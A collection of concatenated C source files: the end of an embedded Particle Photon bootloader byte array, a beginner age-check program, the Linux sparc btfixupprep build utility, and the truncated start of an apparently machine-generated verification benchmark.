0x00, 0xf0, 0x56, 0xf8, 0x00, 0x28, 0xd4, 0xd0, 0x6f, 0xf0, 0x03, 0x00,
0x0c, 0xe0, 0x28, 0x46, 0xff, 0xf7, 0x1e, 0xff, 0x20, 0x46, 0x07, 0xe0,
0x4f, 0xf0, 0xff, 0x30, 0x04, 0xe0, 0x6f, 0xf0, 0x01, 0x00, 0x01, 0xe0,
0x6f, 0xf0, 0x02, 0x00, 0x63, 0xb0, 0xbd, 0xe8, 0xf0, 0x8f, 0x00, 0xbf,
0x00, 0x40, 0x00, 0x00, 0x42, 0x52, 0x43, 0x4d, 0x00, 0x80, 0x00, 0x08,
0x00, 0x40, 0x00, 0x08, 0x10, 0xb5, 0x04, 0x46, 0x00, 0x20, 0xff, 0xf7,
0x2d, 0xff, 0x20, 0x44, 0x10, 0xbd, 0x70, 0xb5, 0x05, 0x46, 0x14, 0x46,
0x08, 0x46, 0x0e, 0x46, 0xff, 0xf7, 0xf2, 0xff, 0x29, 0x46, 0x22, 0x46,
0x00, 0xf0, 0x26, 0xf8, 0x40, 0xb1, 0x06, 0xf5, 0xeb, 0x50, 0x29, 0x46,
0x22, 0x46, 0xbd, 0xe8, 0x70, 0x40, 0x1c, 0x30, 0xff, 0xf7, 0x5a, 0xbf,
0x70, 0xbd, 0x38, 0xb5, 0x04, 0x46, 0x0d, 0x46, 0xff, 0xf7, 0x4e, 0xfe,
0xf3, 0x20, 0xff, 0xf7, 0xcd, 0xfd, 0xfd, 0xf7, 0x0d, 0xfe, 0xac, 0x42,
0x0a, 0xd8, 0x20, 0x46, 0x02, 0x21, 0xff, 0xf7, 0x05, 0xfe, 0x08, 0x28,
0x00, 0xd0, 0xfe, 0xe7, 0xfd, 0xf7, 0x02, 0xfe, 0x08, 0x34, 0xf2, 0xe7,
0xff, 0xf7, 0x32, 0xfe, 0x00, 0x20, 0x38, 0xbd, 0x2d, 0xe9, 0xf0, 0x47,
0x81, 0x46, 0x0f, 0x46, 0x90, 0x46, 0x01, 0xeb, 0x02, 0x0a, 0xff, 0xf7,
0x2f, 0xfe, 0xf3, 0x20, 0xff, 0xf7, 0xae, 0xfd, 0x3c, 0x46, 0x4d, 0x46,
0x54, 0x45, 0x1e, 0xd2, 0xab, 0x07, 0x10, 0xd1, 0xc4, 0xeb, 0x0a, 0x03,
0x0f, 0x2b, 0x4f, 0xf0, 0x0b, 0x06, 0x0b, 0xdd, 0x28, 0x46, 0x21, 0x68,
0xff, 0xf7, 0xc0, 0xfd, 0x08, 0x28, 0x01, 0xd0, 0x01, 0x3e, 0xf7, 0xd1,
0x04, 0x35, 0x04, 0x34, 0xea, 0xe7, 0x0b, 0x26, 0x28, 0x46, 0x21, 0x78,
0xff, 0xf7, 0x98, 0xfd, 0x08, 0x28, 0x01, 0xd0, 0x01, 0x3e, 0xf7, 0xd1,
0x01, 0x35, 0x01, 0x34, 0xde, 0xe7, 0x39, 0x46, 0x42, 0x46, 0x48, 0x46,
0x00, 0xf0, 0x0a, 0xf8, 0x00, 0x28, 0x0c, 0xbf, 0x00, 0x24, 0x04, 0x24,
0xff, 0xf7, 0xf6, 0xfd, 0x20, 0x46, 0xbd, 0xe8, 0xf0, 0x87, 0x00, 0x00,
0x03, 0x2a, 0x70, 0xb4, 0x26, 0xd9, 0x40, 0xea, 0x01, 0x03, 0x9b, 0x07,
0x11, 0xd0, 0x04, 0x78, 0x0d, 0x78, 0xac, 0x42, 0x22, 0xd1, 0x02, 0x44,
0x43, 0x1c, 0x05, 0xe0, 0x13, 0xf8, 0x01, 0x4b, 0x11, 0xf8, 0x01, 0x5f,
0xac, 0x42, 0x19, 0xd1, 0x93, 0x42, 0xf7, 0xd1, 0x00, 0x20, 0x70, 0xbc,
0x70, 0x47, 0x0c, 0x46, 0x03, 0x46, 0x1e, 0x68, 0x25, 0x68, 0x18, 0x46,
0xae, 0x42, 0x21, 0x46, 0x03, 0xf1, 0x04, 0x03, 0x04, 0xf1, 0x04, 0x04,
0x04, 0xd1, 0x04, 0x3a, 0x03, 0x2a, 0x18, 0x46, 0x21, 0x46, 0xf0, 0xd8,
0x00, 0x2a, 0xda, 0xd1, 0x10, 0x46, 0xe8, 0xe7, 0x60, 0x1b, 0x70, 0xbc,
0x70, 0x47, 0x00, 0xbf, 0x70, 0xb4, 0x84, 0x07, 0x46, 0xd0, 0x54, 0x1e,
0x00, 0x2a, 0x41, 0xd0, 0xcd, 0xb2, 0x03, 0x46, 0x02, 0xe0, 0x62, 0x1e,
0xe4, 0xb3, 0x14, 0x46, 0x03, 0xf8, 0x01, 0x5b, 0x9a, 0x07, 0xf8, 0xd1,
0x03, 0x2c, 0x2e, 0xd9, 0xcd, 0xb2, 0x45, 0xea, 0x05, 0x25, 0x0f, 0x2c,
0x45, 0xea, 0x05, 0x45, 0x19, 0xd9, 0x26, 0x46, 0x03, 0xf1, 0x10, 0x02,
0x10, 0x3e, 0x0f, 0x2e, 0x42, 0xf8, 0x10, 0x5c, 0x42, 0xf8, 0x0c, 0x5c,
0x42, 0xf8, 0x08, 0x5c, 0x42, 0xf8, 0x04, 0x5c, 0x02, 0xf1, 0x10, 0x02,
0xf2, 0xd8, 0xa4, 0xf1, 0x10, 0x02, 0x22, 0xf0, 0x0f, 0x02, 0x04, 0xf0,
0x0f, 0x04, 0x10, 0x32, 0x03, 0x2c, 0x13, 0x44, 0x0d, 0xd9, 0x1e, 0x46,
0x22, 0x46, 0x04, 0x3a, 0x03, 0x2a, 0x46, 0xf8, 0x04, 0x5b, 0xfa, 0xd8,
0x22, 0x1f, 0x22, 0xf0, 0x03, 0x02, 0x04, 0x32, 0x13, 0x44, 0x04, 0xf0,
0x03, 0x04, 0x2c, 0xb1, 0xc9, 0xb2, 0x1c, 0x44, 0x03, 0xf8, 0x01, 0x1b,
0xa3, 0x42, 0xfb, 0xd1, 0x70, 0xbc, 0x70, 0x47, 0x14, 0x46, 0x03, 0x46,
0xc2, 0xe7, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x40,
0x00, 0x20, 0x01, 0x00, 0x01, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x40,
0x08, 0x00, 0x01, 0x00, 0x02, 0x00, 0x03, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x40,
0x02, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x40,
0x04, 0x00, 0x01, 0x00, 0x02, 0x00, 0x02, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x40, 0x00, 0x08,
0x00, 0x80, 0x00, 0x08, 0x00, 0xc0, 0x00, 0x08, 0x00, 0x00, 0x01, 0x08,
0x00, 0x00, 0x02, 0x08, 0x82, 0x3a, 0x00, 0x08, 0xc4, 0x3a, 0x00, 0x08,
0x92, 0x00, 0x00, 0x00, 0x00, 0x01, 0x05, 0x00, 0x01, 0x00, 0x88, 0x00,
0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x44, 0x00, 0x65, 0x00,
0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6e, 0x00,
0x74, 0x00, 0x65, 0x00, 0x72, 0x00, 0x66, 0x00, 0x61, 0x00, 0x63, 0x00,
0x65, 0x00, 0x47, 0x00, 0x55, 0x00, 0x49, 0x00, 0x44, 0x00, 0x73, 0x00,
0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x7b, 0x00, 0x33, 0x00, 0x37, 0x00,
0x66, 0x00, 0x62, 0x00, 0x35, 0x00, 0x66, 0x00, 0x39, 0x00, 0x30, 0x00,
0x2d, 0x00, 0x31, 0x00, 0x61, 0x00, 0x33, 0x00, 0x34, 0x00, 0x2d, 0x00,
0x34, 0x00, 0x39, 0x00, 0x32, 0x00, 0x39, 0x00, 0x2d, 0x00, 0x39, 0x00,
0x33, 0x00, 0x33, 0x00, 0x62, 0x00, 0x2d, 0x00, 0x38, 0x00, 0x61, 0x00,
0x32, 0x00, 0x37, 0x00, 0x65, 0x00, 0x31, 0x00, 0x38, 0x00, 0x35, 0x00,
0x30, 0x00, 0x30, 0x00, 0x33, 0x00, 0x33, 0x00, 0x7d, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x08, 0x10, 0x18, 0x20, 0x28, 0x30, 0x38, 0x40, 0x48,
0x50, 0x58, 0x40, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x20,
0x46, 0x6c, 0x61, 0x73, 0x68, 0x20, 0x20, 0x20, 0x2f, 0x30, 0x78, 0x30,
0x38, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x2f, 0x30, 0x33, 0x2a, 0x30,
0x31, 0x36, 0x4b, 0x61, 0x2c, 0x30, 0x31, 0x2a, 0x30, 0x31, 0x36, 0x4b,
0x67, 0x2c, 0x30, 0x31, 0x2a, 0x30, 0x36, 0x34, 0x4b, 0x67, 0x2c, 0x30,
0x37, 0x2a, 0x31, 0x32, 0x38, 0x4b, 0x67, 0x00, 0x40, 0x44, 0x43, 0x54,
0x20, 0x46, 0x6c, 0x61, 0x73, 0x68, 0x20, 0x20, 0x20, 0x2f, 0x30, 0x78,
0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x2f, 0x30, 0x31, 0x2a,
0x30, 0x31, 0x36, 0x4b, 0x67, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x01,
0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
0x57, 0x49, 0x4e, 0x55, 0x53, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x03,
0x4d, 0x00, 0x53, 0x00, 0x46, 0x00, 0x54, 0x00, 0x31, 0x00, 0x30, 0x00,
0x30, 0x00, 0xee, 0x00, 0x44, 0x46, 0x55, 0x00, 0x50, 0x61, 0x72, 0x74,
0x69, 0x63, 0x6c, 0x65, 0x00, 0x50, 0x68, 0x6f, 0x74, 0x6f, 0x6e, 0x20,
0x44, 0x46, 0x55, 0x20, 0x4d, 0x6f, 0x64, 0x65, 0x00, 0x00, 0x00, 0x00,
0x7c, 0x1d, 0x00, 0x00, 0x20, 0x02, 0x00, 0x00, 0x84, 0x01, 0x00, 0x00,
0x30, 0x1a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb9, 0x2f, 0x00, 0x08,
0x09, 0x32, 0x00, 0x08, 0xfd, 0x31, 0x00, 0x08, 0x3d, 0x32, 0x00, 0x08,
0x51, 0x32, 0x00, 0x08, 0x65, 0x32, 0x00, 0x08, 0x29, 0x32, 0x00, 0x08,
0x15, 0x32, 0x00, 0x08, 0xf1, 0x31, 0x00, 0x08, 0xff, 0x00, 0xff, 0x00,
0xff, 0x00, 0x00, 0x00, 0xc5, 0x0d, 0x00, 0x08, 0xc5, 0x0d, 0x00, 0x08,
0xc5, 0x0d, 0x00, 0x08, 0xc5, 0x0d, 0x00, 0x08, 0xc5, 0x0d, 0x00, 0x08,
0xc5, 0x0d, 0x00, 0x08, 0xc5, 0x0d, 0x00, 0x08, 0x9d, 0x0d, 0x00, 0x08,
0xff, 0x00, 0xff, 0x00, 0x00, 0xff, 0xff, 0x00, 0x63, 0x00, 0x00, 0x00,
0x09, 0x1d, 0x00, 0x08, 0x15, 0x1f, 0x00, 0x08, 0x4d, 0x21, 0x00, 0x08,
0x99, 0x1f, 0x00, 0x08, 0x05, 0x1d, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xf9, 0x1c, 0x00, 0x08, 0xed, 0x1c, 0x00, 0x08,
0x9d, 0x1d, 0x00, 0x08, 0x89, 0x15, 0x00, 0x08, 0xc1, 0x1d, 0x00, 0x08,
0x1d, 0x16, 0x00, 0x08, 0x55, 0x1d, 0x00, 0x08, 0x85, 0x1e, 0x00, 0x08,
0x65, 0x1d, 0x00, 0x08, 0x83, 0x1d, 0x00, 0x08, 0x47, 0x1d, 0x00, 0x08,
0x39, 0x1d, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0a, 0x06, 0x00, 0x02, 0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x09, 0x02,
0x24, 0x00, 0x01, 0x01, 0x02, 0xc0, 0x32, 0x09, 0x04, 0x00, 0x00, 0x00,
0xfe, 0x01, 0x02, 0x06, 0x09, 0x04, 0x00, 0x01, 0x00, 0xfe, 0x01, 0x02,
0x07, 0x09, 0x21, 0x0b, 0xff, 0x00, 0x00, 0x10, 0x1a, 0x01, 0x00, 0x00,
0x00, 0x00, 0x02, 0x08, 0x09, 0x07, 0x24, 0x00, 0x01, 0x01, 0x02, 0xc0,
0x32, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x02, 0x06, 0x09, 0x04,
0x00, 0x01, 0x00, 0xfe, 0x01, 0x02, 0x07, 0x09, 0x21, 0x0b, 0xff, 0x00,
0x00, 0x10, 0x1a, 0x01, 0x00, 0x0e, 0x27, 0x07, 0x00, 0x00, 0x00, 0x00,
0x00, 0x08, 0x02, 0x40, 0x80, 0x00, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x80, 0x00, 0x02, 0x00, 0x07, 0x00, 0x17, 0x00, 0x07, 0x00,
0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xc4, 0x3a, 0x00, 0x08, 0xa9, 0x1c, 0x00, 0x08, 0x6f, 0x2d, 0x00, 0x08,
0xa5, 0x1c, 0x00, 0x08, 0x7d, 0x2d, 0x00, 0x08, 0x77, 0x2d, 0x00, 0x08,
0x73, 0x2d, 0x00, 0x08, 0x63, 0x2d, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00,
0xf4, 0x01, 0x00, 0x00, 0x84, 0x01, 0x00, 0x20, 0x50, 0x01, 0x00, 0x20,
0x60, 0x00, 0x00, 0x00, 0x82, 0x3a, 0x00, 0x08, 0xe7, 0x1c, 0x00, 0x08,
0xe3, 0x1c, 0x00, 0x08, 0x25, 0x25, 0x00, 0x08, 0xc1, 0x24, 0x00, 0x08,
0xe1, 0x1c, 0x00, 0x08, 0xbd, 0x1c, 0x00, 0x08, 0xad, 0x1c, 0x00, 0x08,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xe1, 0x26, 0x00, 0x08, 0x81, 0x26, 0x00, 0x08, 0x75, 0x26, 0x00, 0x08,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x03, 0x09, 0x04,
0x12, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x40, 0x04, 0x2b, 0x06, 0xd0,
0x50, 0x02, 0x01, 0x02, 0x03, 0x01, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
0x00, 0x00, 0xc4, 0x37, 0xbb, 0x98, 0x49, 0x01, 0x53, 0x33, 0xa4, 0xe7,
0x53, 0x7b, 0xd0, 0x93, 0x5b, 0x3e, 0xcd, 0x4d, 0xe7, 0x22, 0xe1, 0x18,
0x48, 0x62, 0x0b, 0xfb, 0xa5, 0xf2, 0xd5, 0xdb, 0x99, 0x37, 0x28, 0x00,
0xc2, 0xe7, 0x39, 0x1f
};
const unsigned int bootloader_platform_6_bin_len = 15712;
|
the_stack_data/62636698.c | #include<stdio.h>
int main(){
int age;
printf("Enter your age\n");
scanf("%d", &age);
// if(age!=90){
if(age>=90){
printf("You are above 90, you cannot drive\n");
}
else{
printf("You can drive\n");
}
if(age==50){
printf("Half Century\n");
}
return 0;
} |
the_stack_data/154827671.c | /*
Simple utility to prepare vmlinux image for sparc.
Resolves all BTFIXUP uses and settings and creates
a special .s object to link to the image.
Copyright (C) 1998 Jakub Jelinek ([email protected])
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <malloc.h>
#define MAXSYMS 1024
static char *symtab = "SYMBOL TABLE:";
static char *relrec = "RELOCATION RECORDS FOR [";
static int rellen;
static int symlen;
int mode;
struct _btfixup;
typedef struct _btfixuprel {
char *sect;
unsigned long offset;
struct _btfixup *f;
int frel;
struct _btfixuprel *next;
} btfixuprel;
typedef struct _btfixup {
int type;
int setinitval;
unsigned int initval;
char *initvalstr;
char *name;
btfixuprel *rel;
} btfixup;
btfixup array[MAXSYMS];
int last = 0;
char buffer[1024];
unsigned long lastfoffset = -1;
unsigned long lastfrelno;
btfixup *lastf;
static void fatal(void) __attribute__((noreturn));
static void fatal(void)
{
fprintf(stderr, "Malformed output from objdump\n%s\n", buffer);
exit(1);
}
static btfixup *find(int type, char *name)
{
int i;
for (i = 0; i < last; i++) {
if (array[i].type == type && !strcmp(array[i].name, name))
return array + i;
}
array[last].type = type;
array[last].name = strdup(name);
array[last].setinitval = 0;
if (!array[last].name) fatal();
array[last].rel = NULL;
last++;
if (last >= MAXSYMS) {
fprintf(stderr, "Ugh. Something strange. More than %d different BTFIXUP symbols\n", MAXSYMS);
exit(1);
}
return array + last - 1;
}
static void set_mode (char *buffer)
{
for (mode = 0;; mode++)
if (buffer[mode] < '0' || buffer[mode] > '9')
break;
if (mode != 8 && mode != 16)
fatal();
}
int main(int argc,char **argv)
{
char *p, *q;
char *sect;
int i, j, k;
unsigned int initval;
int shift;
btfixup *f;
btfixuprel *r, **rr;
unsigned long offset;
char *initvalstr;
symlen = strlen(symtab);
while (fgets (buffer, 1024, stdin) != NULL)
if (!strncmp (buffer, symtab, symlen))
goto main0;
fatal();
main0:
rellen = strlen(relrec);
while (fgets (buffer, 1024, stdin) != NULL)
if (!strncmp (buffer, relrec, rellen))
goto main1;
fatal();
main1:
sect = malloc(strlen (buffer + rellen) + 1);
if (!sect) fatal();
strcpy (sect, buffer + rellen);
p = strchr (sect, ']');
if (!p) fatal();
*p = 0;
if (fgets (buffer, 1024, stdin) == NULL)
fatal();
while (fgets (buffer, 1024, stdin) != NULL) {
int nbase;
if (!strncmp (buffer, relrec, rellen))
goto main1;
if (mode == 0)
set_mode (buffer);
p = strchr (buffer, '\n');
if (p) *p = 0;
if (strlen (buffer) < 22+mode)
continue;
if (strncmp (buffer + mode, " R_SPARC_", 9))
continue;
nbase = 27 - 8 + mode;
if (buffer[nbase] != '_' || buffer[nbase+1] != '_' || buffer[nbase+2] != '_')
continue;
switch (buffer[nbase+3]) {
case 'f': /* CALL */
case 'b': /* BLACKBOX */
case 's': /* SIMM13 */
case 'a': /* HALF */
case 'h': /* SETHI */
case 'i': /* INT */
break;
default:
continue;
}
p = strchr (buffer + nbase+5, '+');
if (p) *p = 0;
shift = nbase + 5;
if (buffer[nbase+4] == 's' && buffer[nbase+5] == '_') {
shift = nbase + 6;
if (strcmp (sect, ".init.text")) {
fprintf(stderr,
"Wrong use of '%s' BTFIXUPSET in '%s' section.\n"
"BTFIXUPSET_CALL can be used only in"
" __init sections\n",
buffer + shift, sect);
exit(1);
}
} else if (buffer[nbase+4] != '_')
continue;
if (!strcmp (sect, ".text.exit"))
continue;
if (strcmp (sect, ".text") &&
strcmp (sect, ".init.text") &&
strcmp (sect, ".fixup") &&
(strcmp (sect, "__ksymtab") || buffer[nbase+3] != 'f')) {
if (buffer[nbase+3] == 'f')
fprintf(stderr,
"Wrong use of '%s' in '%s' section.\n"
" It can be used only in .text, .init.text,"
" .fixup and __ksymtab\n",
buffer + shift, sect);
else
fprintf(stderr,
"Wrong use of '%s' in '%s' section.\n"
" It can be only used in .text, .init.text,"
" and .fixup\n", buffer + shift, sect);
exit(1);
}
p = strstr (buffer + shift, "__btset_");
if (p && buffer[nbase+4] == 's') {
fprintf(stderr, "__btset_ in BTFIXUP name can only be used when defining the variable, not for setting\n%s\n", buffer);
exit(1);
}
initval = 0;
initvalstr = NULL;
if (p) {
if (p[8] != '0' || p[9] != 'x') {
fprintf(stderr, "Pre-initialized values can be only initialized with hexadecimal constants starting 0x\n%s\n", buffer);
exit(1);
}
initval = strtoul(p + 10, &q, 16);
if (*q || !initval) {
fprintf(stderr, "Pre-initialized values can be only in the form name__btset_0xXXXXXXXX where X are hex digits.\nThey cannot be name__btset_0x00000000 though. Use BTFIXUPDEF_XX instead of BTFIXUPDEF_XX_INIT then.\n%s\n", buffer);
exit(1);
}
initvalstr = p + 10;
*p = 0;
}
f = find(buffer[nbase+3], buffer + shift);
if (buffer[nbase+4] == 's')
continue;
switch (buffer[nbase+3]) {
case 'f':
if (initval) {
fprintf(stderr, "Cannot use pre-initalized fixups for calls\n%s\n", buffer);
exit(1);
}
if (!strcmp (sect, "__ksymtab")) {
if (strncmp (buffer + mode+9, "32 ", 10)) {
fprintf(stderr, "BTFIXUP_CALL in EXPORT_SYMBOL results in relocation other than R_SPARC_32\n\%s\n", buffer);
exit(1);
}
} else if (strncmp (buffer + mode+9, "WDISP30 ", 10) &&
strncmp (buffer + mode+9, "HI22 ", 10) &&
strncmp (buffer + mode+9, "LO10 ", 10)) {
fprintf(stderr, "BTFIXUP_CALL results in relocation other than R_SPARC_WDISP30, R_SPARC_HI22 or R_SPARC_LO10\n%s\n", buffer);
exit(1);
}
break;
case 'b':
if (initval) {
fprintf(stderr, "Cannot use pre-initialized fixups for blackboxes\n%s\n", buffer);
exit(1);
}
if (strncmp (buffer + mode+9, "HI22 ", 10)) {
fprintf(stderr, "BTFIXUP_BLACKBOX results in relocation other than R_SPARC_HI22\n%s\n", buffer);
exit(1);
}
break;
case 's':
if (initval + 0x1000 >= 0x2000) {
fprintf(stderr, "Wrong initializer for SIMM13. Has to be from $fffff000 to $00000fff\n%s\n", buffer);
exit(1);
}
if (strncmp (buffer + mode+9, "13 ", 10)) {
fprintf(stderr, "BTFIXUP_SIMM13 results in relocation other than R_SPARC_13\n%s\n", buffer);
exit(1);
}
break;
case 'a':
if (initval + 0x1000 >= 0x2000 && (initval & 0x3ff)) {
fprintf(stderr, "Wrong initializer for HALF.\n%s\n", buffer);
exit(1);
}
if (strncmp (buffer + mode+9, "13 ", 10)) {
fprintf(stderr, "BTFIXUP_HALF results in relocation other than R_SPARC_13\n%s\n", buffer);
exit(1);
}
break;
case 'h':
if (initval & 0x3ff) {
fprintf(stderr, "Wrong initializer for SETHI. Cannot have set low 10 bits\n%s\n", buffer);
exit(1);
}
if (strncmp (buffer + mode+9, "HI22 ", 10)) {
fprintf(stderr, "BTFIXUP_SETHI results in relocation other than R_SPARC_HI22\n%s\n", buffer);
exit(1);
}
break;
case 'i':
if (initval) {
fprintf(stderr, "Cannot use pre-initalized fixups for INT\n%s\n", buffer);
exit(1);
}
if (strncmp (buffer + mode+9, "HI22 ", 10) && strncmp (buffer + mode+9, "LO10 ", 10)) {
fprintf(stderr, "BTFIXUP_INT results in relocation other than R_SPARC_HI22 and R_SPARC_LO10\n%s\n", buffer);
exit(1);
}
break;
}
if (!f->setinitval) {
f->initval = initval;
if (initvalstr) {
f->initvalstr = strdup(initvalstr);
if (!f->initvalstr) fatal();
}
f->setinitval = 1;
} else if (f->initval != initval) {
fprintf(stderr, "Btfixup %s previously used with initializer %s which doesn't match with current initializer\n%s\n",
f->name, f->initvalstr ? : "0x00000000", buffer);
exit(1);
} else if (initval && strcmp(f->initvalstr, initvalstr)) {
fprintf(stderr, "Btfixup %s previously used with initializer %s which doesn't match with current initializer.\n"
"Initializers have to match literally as well.\n%s\n",
f->name, f->initvalstr, buffer);
exit(1);
}
offset = strtoul(buffer, &q, 16);
if (q != buffer + mode || (!offset && (mode == 8 ? strncmp (buffer, "00000000 ", 9) : strncmp (buffer, "0000000000000000 ", 17)))) {
fprintf(stderr, "Malformed relocation address in\n%s\n", buffer);
exit(1);
}
for (k = 0, r = f->rel, rr = &f->rel; r; rr = &r->next, r = r->next, k++)
if (r->offset == offset && !strcmp(r->sect, sect)) {
fprintf(stderr, "Ugh. One address has two relocation records\n");
exit(1);
}
*rr = malloc(sizeof(btfixuprel));
if (!*rr) fatal();
(*rr)->offset = offset;
(*rr)->f = NULL;
if (buffer[nbase+3] == 'f') {
lastf = f;
lastfoffset = offset;
lastfrelno = k;
} else if (lastfoffset + 4 == offset) {
(*rr)->f = lastf;
(*rr)->frel = lastfrelno;
}
(*rr)->sect = sect;
(*rr)->next = NULL;
}
printf("! Generated by btfixupprep. Do not edit.\n\n");
printf("\t.section\t\".data..init\",#alloc,#write\n\t.align\t4\n\n");
printf("\t.global\t___btfixup_start\n___btfixup_start:\n\n");
for (i = 0; i < last; i++) {
f = array + i;
printf("\t.global\t___%cs_%s\n", f->type, f->name);
if (f->type == 'f')
printf("___%cs_%s:\n\t.word 0x%08x,0,0,", f->type, f->name, f->type << 24);
else
printf("___%cs_%s:\n\t.word 0x%08x,0,", f->type, f->name, f->type << 24);
for (j = 0, r = f->rel; r != NULL; j++, r = r->next);
if (j)
printf("%d\n\t.word\t", j * 2);
else
printf("0\n");
for (r = f->rel, j--; r != NULL; j--, r = r->next) {
if (!strcmp (r->sect, ".text"))
printf ("_stext+0x%08lx", r->offset);
else if (!strcmp (r->sect, ".init.text"))
printf ("__init_begin+0x%08lx", r->offset);
else if (!strcmp (r->sect, "__ksymtab"))
printf ("__start___ksymtab+0x%08lx", r->offset);
else if (!strcmp (r->sect, ".fixup"))
printf ("__start___fixup+0x%08lx", r->offset);
else
fatal();
if (f->type == 'f' || !r->f)
printf (",0");
else
printf (",___fs_%s+0x%08x", r->f->name, (4 + r->frel*2)*4 + 4);
if (j) printf (",");
else printf ("\n");
}
printf("\n");
}
printf("\n\t.global\t___btfixup_end\n___btfixup_end:\n");
printf("\n\n! Define undefined references\n\n");
for (i = 0; i < last; i++) {
f = array + i;
if (f->type == 'f') {
printf("\t.global\t___f_%s\n", f->name);
printf("___f_%s:\n", f->name);
}
}
printf("\tretl\n\t nop\n\n");
for (i = 0; i < last; i++) {
f = array + i;
if (f->type != 'f') {
if (!f->initval) {
printf("\t.global\t___%c_%s\n", f->type, f->name);
printf("___%c_%s = 0\n", f->type, f->name);
} else {
printf("\t.global\t___%c_%s__btset_0x%s\n", f->type, f->name, f->initvalstr);
printf("___%c_%s__btset_0x%s = 0x%08x\n", f->type, f->name, f->initvalstr, f->initval);
}
}
}
printf("\n\n");
exit(0);
}
|
the_stack_data/132951929.c | extern float __VERIFIER_nondet_float(void);
extern int __VERIFIER_nondet_int(void);
typedef enum {false, true} bool;
bool __VERIFIER_nondet_bool(void) {
return __VERIFIER_nondet_int() != 0;
}
int main()
{
bool _J126, _x__J126;
bool _J121, _x__J121;
bool _J111, _x__J111;
bool _EL_U_92, _x__EL_U_92;
float x_3, _x_x_3;
float x_2, _x_x_2;
bool _EL_U_93, _x__EL_U_93;
float x_1, _x_x_1;
float x_0, _x_x_0;
bool _EL_U_94, _x__EL_U_94;
int __steps_to_fair = __VERIFIER_nondet_int();
_J126 = __VERIFIER_nondet_bool();
_J121 = __VERIFIER_nondet_bool();
_J111 = __VERIFIER_nondet_bool();
_EL_U_92 = __VERIFIER_nondet_bool();
x_3 = __VERIFIER_nondet_float();
x_2 = __VERIFIER_nondet_float();
_EL_U_93 = __VERIFIER_nondet_bool();
x_1 = __VERIFIER_nondet_float();
x_0 = __VERIFIER_nondet_float();
_EL_U_94 = __VERIFIER_nondet_bool();
bool __ok = (1 && (((( !(_EL_U_94 || (( !((x_0 + (-1.0 * x_2)) <= 5.0)) || (_EL_U_93 && ((4.0 <= (x_2 + (-1.0 * x_3))) || _EL_U_92))))) && ( !_J111)) && ( !_J121)) && ( !_J126)));
while (__steps_to_fair >= 0 && __ok) {
if (((_J111 && _J121) && _J126)) {
__steps_to_fair = __VERIFIER_nondet_int();
} else {
__steps_to_fair--;
}
_x__J126 = __VERIFIER_nondet_bool();
_x__J121 = __VERIFIER_nondet_bool();
_x__J111 = __VERIFIER_nondet_bool();
_x__EL_U_92 = __VERIFIER_nondet_bool();
_x_x_3 = __VERIFIER_nondet_float();
_x_x_2 = __VERIFIER_nondet_float();
_x__EL_U_93 = __VERIFIER_nondet_bool();
_x_x_1 = __VERIFIER_nondet_float();
_x_x_0 = __VERIFIER_nondet_float();
_x__EL_U_94 = __VERIFIER_nondet_bool();
